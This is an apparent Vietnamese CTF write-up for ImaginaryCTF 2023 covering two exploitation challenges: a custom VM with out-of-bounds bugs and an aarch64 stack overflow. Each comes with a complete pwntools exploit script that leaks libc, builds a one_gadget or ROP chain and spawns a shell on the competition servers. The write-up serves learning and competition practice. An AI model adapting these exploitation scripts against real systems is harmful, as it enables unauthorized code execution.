---
# System prepended metadata

title: WU ImaginaryCTF 2023
tags: [wu]

---

### vmdungeon

**1. Tìm hiểu chương trình**
- Đầu tiên thì chương trình bị strip nên mình có tự defiend lại struct, nó có cấu trúc như sau:
- ![](https://hackmd.io/_uploads/Sk5LnbWs2.png)
- Ở main là những câu lệnh khá đơn giản:
- ![](https://hackmd.io/_uploads/B1zGkfbjh.png)
- Bài là dạng `virtual machine`, do nó được chạy với argument `-` nên ta có thể kiểm soát được `fun_id`.
- Dễ thấy được bug là `OOB` tại fun do nó được khai báo 117 nhưng ta có thể nhập lên tới `0xff` tức 255.
- ![](https://hackmd.io/_uploads/H1tggGWi2.png)
- Tuy nhiên trong phạm vi này không chạm tới giá trị nào nguy hiểm cho chương trình.
- ![](https://hackmd.io/_uploads/HJfPxz-i3.png)
- Ngoài ra còn một bug `OOB` nữa là nếu ta gọi hàm này liên tục thì index của `mem` sẽ giảm, mặc dù trong cái trên thì `id %= 1024` nhưng khi debug thì mình thấy rằng nó không thực hiện với giá trị âm, do đó ta có thể ghi vào phân vùng của fun giúp thay đổi địa chỉ bên trong `fun`.
**2. Khai thác**
- Cái khó là làm cách nào để đưa data vào khi mem.data là kiểu in còn data đưa vào thì kiểu char, việc này dẫn đến mem.data là một biến in chỉ lưu 1 byte cuối còn 3 byte kia thì set null do đó k thể đưa được địa chỉ vào vì nó chỉ nhận 1 byte và các byte còn lại biến thành null.
- Vậy nên ta sẽ chọn một địa chỉ libc nằm trên bss cụ thể làm stdin nằm trước mem.
- Ta sẽ lùi idx để `mem.data` trỏ đến stdin thông qua hàm `set_arg_sub` xong đưa nó vào `mem.arg`, mỗi chỉ nhận 4 byte trong arg, mà ta có 4 arg trong đó arg 0 và 1 dùng để tính toán, arg 3 thì lưu kết quả còn arg2 để trống.
- 4 byte đầu của libc ta sẽ để vào arg2 vì nó ít thay đổi, 4 byte cuối ta sẽ đưa vào arg 0 còn arg1 ta sẽ truyền offset vào để sub hoặc add tùy ý tạo được địa chỉ libc mong muốn, ở đây là `one_gadget`.
- Ngoài ra cần tạo thêm `gadget xor_r10` để đủ điều kiện thực thi `one_gadget`.
- script:
```python
#!/usr/bin/python3

from pwn import *

exe = ELF('vm', checksec=False)

context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: r.sendlineafter(msg, data)
sa = lambda msg, data: r.sendafter(msg, data)
sl = lambda data: r.sendline(data)
s = lambda data: r.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

base = 0x5020

def set_arg_sub(arg = b'\x00'):   return p8(int((0x5350-base)/8))+arg
def set_data_add(arg = b'\x00'):  return p8(int((0x5358-base)/8))+arg
def set_data(arg = b'\x00'):      return p8(int((0x5360-base)/8))+arg
def add(arg = b'\x00'):           return p8(int((0x5368-base)/8))+arg
def sub(arg = b'\x00'):           return p8(int((0x5370-base)/8))+arg
def mul(arg = b'\x00'):           return p8(int((0x5378-base)/8))+arg
def div(arg = b'\x00'):           return p8(int((0x5380-base)/8))+arg
def mod(arg = b'\x00'):           return p8(int((0x5388-base)/8))+arg
def add_fun_id(arg = b'\x00'):    return p8(int((0x5390-base)/8))+arg
def check_add(arg = b'\x00'):     return p8(int((0x5398-base)/8))+arg
def check_ab(arg = b'\x00'):      return p8(int((0x53a0-base)/8))+arg
def putschar(arg = b'\x00'):      return p8(int((0x53a8-base)/8))+arg
def getchar(arg = b'\x00'):       return p8(int((0x53b0-base)/8))+arg
def shl_data(arg = b'\x00'):      return p8(int((0x53b8-base)/8))+arg
def add_mem(arg = b'\x00'):       return p8(int((0x53c0-base)/8))+arg
def exit(arg = b'\x00'):          return p8(int((0x53c8-base)/8))+arg
def execve(arg = b'\x00'):   return p8(int((0x5800-base)/8))+arg
def xor_r10(arg = b'\x00'):   return p8(int((0x5808-base)/8))+arg


def GDB():
    gdb.attach(r, gdbscript='''
        # b*0x5555555567d0
        b*0x555555556838
        set $fun = 0x555555559020
        set $ptr = 0x6848+0x555555554000
        set $mem = 0x555555554000+ 0x5840
        set $g_idx = 0x555555554000+ 0x6840
        set $g_idx_m = 0x555555554000+ 0x6844
        ni
        c
        c 20
        # c 49
    ''')


if args.REMOTE:
    r = remote('vmdungeon.chal.imaginaryctf.org', 1337)
else:
    r = process([exe.path, '-'])
    # GDB()

### create offset onegadget
payload  = b''
payload += getchar(b'\x00')
payload += getchar(b'\x01')
payload += mul()
payload += set_data_add(b'\x03')

payload += set_arg_sub()
payload += getchar(b'\x01')
payload += mul()
payload += set_data_add(b'\x03')

payload += set_arg_sub()
payload += getchar(b'\x01')
payload += add()
payload += set_data_add(b'\x03')

### load libc_stdin vào arg và thực hiện sub với offset
payload += set_arg_sub(b'\x01')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x02')
payload += set_arg_sub(b'\x00')
payload += sub()
### lùi index tới phân vùng fun
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
payload += set_arg_sub(b'\x00')
### load one_gadget vào phân vùng của fun
payload += set_data_add(b'\x03')
payload += set_data_add(b'\x02')

### create offset xor_r10
payload += getchar(b'\x00')
payload += getchar(b'\x01')
payload += mul()
payload += set_data_add(b'\x03')

payload += set_arg_sub()
payload += getchar(b'\x01')
payload += mul()
payload += set_data_add(b'\x03')

payload += set_arg_sub()
payload += getchar(b'\x01')
payload += add()
payload += set_data_add(b'\x03')

### add với offset tạo gadget xor_r10
payload += set_arg_sub()
payload += set_arg_sub(b'\x02')
payload += set_arg_sub(b'\x01')
payload += add()

### load vào phân vùng fun
payload += set_data_add(b'\x01')
payload += set_data_add(b'\x02')
payload += set_data_add(b'\x03')
payload += set_data_add(b'\x02')

### get shell
payload += xor_r10()
payload += execve()

sl(payload)
### offset onegadget = 0x6e * 0x7d * 0x19 - 0x95
s(p16(0xe6d7))
s(b'\x19')
s(b'\x95')

### offset onegadget = 0x68 * 0x70 * 0x21 + 0x57 (offset của onegadget với xor_r10)
s(p16(0x6870))
s(b'\x21')
s(b'\x57')

r.interactive()
```

![](https://hackmd.io/_uploads/BkB4IzWi3.png)

### generic-rop-challenge

![](https://hackmd.io/_uploads/HJ6hOMWs2.png)
- Bài này overflow basic nhưng nằm ở kiến trúc `aarch64`.
![](https://hackmd.io/_uploads/H1ZEKfWs2.png)
- x29 tương đương với rbp còn x30 là thanh ghi thực thi ret, tức là ret nó sẽ gọi đến thằng này.
- `ldp` thực hiện lấy x29 và x30 tại [sp] và [sp+8], tuy nhiên ta có thể thấy được buffer nằm phía dưới save rip tức [sp+8] nên ta sẽ thay đổi saverip của main.
- Ta sẽ leak libc và thực hiện `system('/bin/sh')`, đầu tiên ta sẽ load vào thanh ghi x0 là địa chi got để leak libc, do aarch nên nó sẽ khó trong việc thực hiện rop vậy nên ta sẽ dùng một phần đoạn của `vuln` để vừa gọi lại `puts` và `gets`.
![](https://hackmd.io/_uploads/rJ1rrHbon.png)
```python
#!/usr/bin/python3

from pwn import *

exe = ELF('vuln', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: r.sendlineafter(msg, data)
sa = lambda msg, data: r.sendafter(msg, data)
sl = lambda data: r.sendline(data)
s = lambda data: r.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

ldp_w22 = 0x40094c # ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
ldr_x19 = 0x4007e4 # ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
call = 0x400924 # mov x19, #0 ; ldr x3, [x21, x19, lsl #3] ; mov x2, x24 ; add x19, x19, #1 ; mov x1, x23 ; mov w0, w22 ; blr x3

if args.REMOTE:
    r = remote('generic-rop-challenge.chal.imaginaryctf.org', 42042)
else:
    # r = process(exe.path)
    r = process('qemu-aarch64 -g 4040 vuln'.split())
    libc.address = 0x5500866000
    # GDB()

payload = b'a'*0x48 + flat(
    ldp_w22, 0, call, 0, 0,
    exe.got['puts'], exe.got['puts'],
    b'/bin/sh\x00'*0x10
)

sla(b'below\n', payload)
if args.REMOTE:
    libc.address = u64(r.recvline(False)+b'\x00'*2) - libc.sym['puts']
info(hex(libc.address))
payload = flat(
    libc.sym['puts'],
    libc.sym['system'],
    exe.sym['vuln']+20
)
sl(payload)

r.interactive()

```